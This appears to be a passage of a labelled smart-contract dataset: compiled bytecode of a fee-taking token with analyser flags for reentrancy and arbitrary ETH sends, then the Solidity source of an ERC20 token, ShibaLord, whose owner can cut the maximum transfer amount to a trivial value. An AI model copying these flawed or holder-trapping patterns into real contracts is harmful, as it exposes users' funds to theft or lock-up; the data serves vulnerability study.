3ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611abf57600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116cf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116d857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117835750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117d95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118bb576102586013546117ee91906130d0565b4210156118b65760125482111561180457600080fd5b601160179054906101000a900460ff16156118b55742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186457600080fd5b60144261187191906130d0565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600190505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119665750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119bc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119fb576002600a819055506104b06013546119d991906130d0565b4211156119ed57600a600b819055506119f6565b6014600b819055505b600190505b6000611a0630610783565b9050601160159054906101000a900460ff16158015611a735750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a8b5750601160169054906101000a900460ff165b15611abd576000811115611aa357611aa281611d49565b5b60004790506000811115611abb57611aba47611be0565b5b505b505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b6a57600090505b611b7684848484612108565b50505050565b6000838311158290611bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbb9190612e18565b60405180910390fd5b5060008385611bd391906131b1565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c306002846120be90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cac6002846120be90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cd7573d6000803e3d6000fd5b5050565b6000600854821115611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990612e5a565b60405180910390fd5b6000611d2c612135565b9050611d4181846120be90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611da7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dd55781602001602082028036833780820191505090505b5090503081600081518110611e13577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb557600080fd5b505afa158015611ec9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eed91906128aa565b81600181518110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f8e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b0565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff2959493929190612fb5565b600060405180830381600087803b15801561200c57600080fd5b505af1158015612020573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561205657600090506120b8565b600082846120649190613157565b90508284826120739190613126565b146120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa90612efa565b60405180910390fd5b809150505b92915050565b600061210083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612160565b905092915050565b80612116576121156121c3565b5b612121848484612206565b8061212f5761212e6123d1565b5b50505050565b60008060006121426123e5565b9150915061215981836120be90919063ffffffff16565b9250505090565b600080831182906121a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219e9190612e18565b60405180910390fd5b50600083856121b69190613126565b9050809150509392505050565b6000600a541480156121d757506000600b54145b156121e157612204565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061221887612447565b95509550955095509550955061227686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124af90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235781612557565b6123618483612614565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123be9190612f9a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061241b683635c9adc5dea000006008546120be90919063ffffffff16565b82101561243a57600854683635c9adc5dea00000935093505050612443565b81819350935050505b9091565b60008060008060008060008060006124648a600a54600b5461264e565b9250925092506000612474612135565b905060008060006124878e8787876126e4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b7c565b905092915050565b600080828461250891906130d0565b90508381101561254d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254490612e9a565b60405180910390fd5b8091505092915050565b6000612561612135565b90506000612578828461204390919063ffffffff16565b90506125cc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612629826008546124af90919063ffffffff16565b600881905550612644816009546124f990919063ffffffff16565b6009819055505050565b60008060008061267a606461266c888a61204390919063ffffffff16565b6120be90919063ffffffff16565b905060006126a46064612696888b61204390919063ffffffff16565b6120be90919063ffffffff16565b905060006126cd826126bf858c6124af90919063ffffffff16565b6124af90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126fd858961204390919063ffffffff16565b90506000612714868961204390919063ffffffff16565b9050600061272b878961204390919063ffffffff16565b905060006127548261274685876124af90919063ffffffff16565b6124af90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278061277b8461304f565b61302a565b9050808382526020820190508285602086028201111561279f57600080fd5b60005b858110156127cf57816127b588826127d9565b8452602084019350602083019250506001810190506127a2565b5050509392505050565b6000813590506127e881613664565b92915050565b6000815190506127fd81613664565b92915050565b600082601f83011261281457600080fd5b813561282484826020860161276d565b91505092915050565b60008135905061283c8161367b565b92915050565b6000815190506128518161367b565b92915050565b60008135905061286681613692565b92915050565b60008151905061287b81613692565b92915050565b60006020828403121561289357600080fd5b60006128a1848285016127d9565b91505092915050565b6000602082840312156128bc57600080fd5b60006128ca848285016127ee565b91505092915050565b600080604083850312156128e657600080fd5b60006128f4858286016127d9565b9250506020612905858286016127d9565b9150509250929050565b60008060006060848603121561292457600080fd5b6000612932868287016127d9565b9350506020612943868287016127d9565b925050604061295486828701612857565b9150509250925092565b6000806040838503121561297157600080fd5b600061297f858286016127d9565b925050602061299085828601612857565b9150509250929050565b6000602082840312156129ac57600080fd5b600082013567ffffffffffffffff8111156129c657600080fd5b6129d284828501612803565b91505092915050565b6000602082840312156129ed57600080fd5b60006129fb8482850161282d565b91505092915050565b600060208284031215612a1657600080fd5b6000612a2484828501612842565b91505092915050565b600060208284031215612a3f57600080fd5b6000612a4d84828501612857565b91505092915050565b600080600060608486031215612a6b57600080fd5b6000612a798682870161286c565b9350506020612a8a8682870161286c565b9250506040612a9b8682870161286c565b9150509250925092565b6000612ab18383612abd565b60208301905092915050565b612ac6816131e5565b82525050565b612ad5816131e5565b82525050565b6000612ae68261308b565b612af081856130ae565b9350612afb8361307b565b8060005b83811015612b2c578151612b138882612aa5565b9750612b1e836130a1565b925050600181019050612aff565b5085935050505092915050565b612b42816131f7565b82525050565b612b518161323a565b82525050565b6000612b6282613096565b612b6c81856130bf565b9350612b7c81856020860161324c565b612b8581613386565b840191505092915050565b6000612b9d6023836130bf565b9150612ba882613397565b604082019050919050565b6000612bc0602a836130bf565b9150612bcb826133e6565b604082019050919050565b6000612be36022836130bf565b9150612bee82613435565b604082019050919050565b6000612c06601b836130bf565b9150612c1182613484565b602082019050919050565b6000612c29601d836130bf565b9150612c34826134ad565b602082019050919050565b6000612c4c6017836130bf565b9150612c57826134d6565b602082019050919050565b6000612c6f6021836130bf565b9150612c7a826134ff565b604082019050919050565b6000612c926020836130bf565b9150612c9d8261354e565b602082019050919050565b6000612cb56029836130bf565b9150612cc082613577565b604082019050919050565b6000612cd86025836130bf565b9150612ce3826135c6565b604082019050919050565b6000612cfb6024836130bf565b9150612d0682613615565b604082019050919050565b612d1a81613223565b82525050565b612d298161322d565b82525050565b6000602082019050612d446000830184612acc565b92915050565b6000604082019050612d5f6000830185612acc565b612d6c6020830184612acc565b9392505050565b6000604082019050612d886000830185612acc565b612d956020830184612d11565b9392505050565b600060c082019050612db16000830189612acc565b612dbe6020830188612d11565b612dcb6040830187612b48565b612dd86060830186612b48565b612de56080830185612acc565b612df260a0830184612d11565b979650505050505050565b6000602082019050612e126000830184612b39565b92915050565b60006020820190508181036000830152612e328184612b57565b905092915050565b60006020820190508181036000830152612e5381612b90565b9050919050565b60006020820190508181036000830152612e7381612bb3565b9050919050565b60006020820190508181036000830152612e9381612bd6565b9050919050565b60006020820190508181036000830152612eb381612bf9565b9050919050565b60006020820190508181036000830152612ed381612c1c565b9050919050565b60006020820190508181036000830152612ef381612c3f565b9050919050565b60006020820190508181036000830152612f1381612c62565b9050919050565b60006020820190508181036000830152612f3381612c85565b9050919050565b60006020820190508181036000830152612f5381612ca8565b9050919050565b60006020820190508181036000830152612f7381612ccb565b9050919050565b60006020820190508181036000830152612f9381612cee565b9050919050565b6000602082019050612faf6000830184612d11565b92915050565b600060a082019050612fca6000830188612d11565b612fd76020830187612b48565b8181036040830152612fe98186612adb565b9050612ff86060830185612acc565b6130056080830184612d11565b9695505050505050565b60006020820190506130246000830184612d20565b92915050565b6000613034613045565b9050613040828261327f565b919050565b6000604051905090565b600067ffffffffffffffff82111561306a57613069613357565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130db82613223565b91506130e683613223565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561311b5761311a6132f9565b5b828201905092915050565b600061313182613223565b915061313c83613223565b92508261314c5761314b613328565b5b828204905092915050565b600061316282613223565b915061316d83613223565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131a6576131a56132f9565b5b828202905092915050565b60006131bc82613223565b91506131c783613223565b9250828210156131da576131d96132f9565b5b828203905092915050565b60006131f082613203565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061324582613223565b9050919050565b60005b8381101561326a57808201518184015260208101905061324f565b83811115613279576000848401525b50505050565b61328882613386565b810181811067ffffffffffffffff821117156132a7576132a6613357565b5b80604052505050565b60006132bb82613223565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132ee576132ed6132f9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61366d816131e5565b811461367857600080fd5b50565b613684816131f7565b811461368f57600080fd5b50565b61369b81613223565b81146136a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1fec689907a720353d2a1abc2aa124160d2d4256da33942613edd77d4c121ad64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 375 |
0xbf10c1098d4e9b91a27763a165ba2ab393c94b22 | // SPDX-License-Identifier: MIT
//
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShibaLord is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'ShibaLord ';
string private _symbol = 'SLORD';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffff